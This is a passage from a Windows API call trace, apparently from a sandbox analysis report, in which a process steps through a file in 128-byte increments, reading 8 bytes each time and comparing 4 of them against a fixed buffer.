lpDistanceToMoveHigh=0x0) returned 0x5a00 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80 [0069.167] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.167] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.167] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c80 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d80 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6080 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100 [0069.168] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.168] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.168] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6280 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6780 [0069.169] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.169] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.169] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6880 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0069.170] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.170] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.170] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7080 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7180 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7280 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, 